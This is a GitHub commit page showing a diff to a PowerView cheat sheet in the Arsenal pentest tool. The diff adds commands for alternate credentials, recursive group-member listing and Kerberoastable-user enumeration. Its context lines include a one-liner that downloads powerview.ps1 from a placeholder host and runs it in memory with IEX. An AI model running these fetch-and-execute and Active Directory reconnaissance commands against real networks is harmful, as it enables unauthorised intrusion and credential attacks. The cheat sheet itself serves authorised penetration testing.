Skip to content

Commit

Permalink
Merge pull request #60 from rumble773/master
Browse files Browse the repository at this point in the history
Added couple of commands to the powerview list and enchnced one of them - thanks @rumble773 for your contrib
  • Loading branch information
v1k1ngfr authored Nov 2, 2023
2 parents 764fdb2 + 516c301 commit a30fbbb
Showing 1 changed file with 22 additions and 2 deletions.
24 changes: 22 additions & 2 deletions arsenal/data/cheats/Active_directory/powerview.md
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,14 @@ https://github.com/PowerShellMafia/PowerSploit/
(new-object system.net.webclient).downloadstring('http://<lhost>/powerview.ps1') | IEX
```

## Set alternative creds to use
#plateform/windows #target/remote #cat/RECON
Example : Use with commands as "-Credential $creds"

```powershell
$passwd = ConvertTo-SecureString "<password>" -AsPlainText -Force; $creds = New-Object System.Management.Automation.PSCredential ("<domain>\<user>", $passwd)
```

## Get User from SID
#plateform/windows #target/remote #cat/RECON
```powershell
Expand Down Expand Up @@ -66,8 +74,20 @@ Get-DomainComputer -Unconstrained
Get-DomainTrustMapping
```

## Get group member
## Get all members of a a given group
#plateform/windows #target/remote #cat/RECON
Example: Get-DomainGroupMember "Domain Admins" -Recurse

```powershell
Get-DomainGroupMember -Identity "<group|Administrators>" -Domain <domain>
Get-DomainGroupMember -Identity "<group|Administrators>" -Domain <domain> -Recurse
```



## Get list of kerberoastable users
#plateform/windows #target/remote #cat/RECON
Description : The following will enumerate 'Kerberoastable' users for a given domain

```powershell
Get-DomainUser -SPN -Domain <domain> | select name, samaccountname, serviceprincipalname
```

0 comments on commit a30fbbb

Please sign in to comment.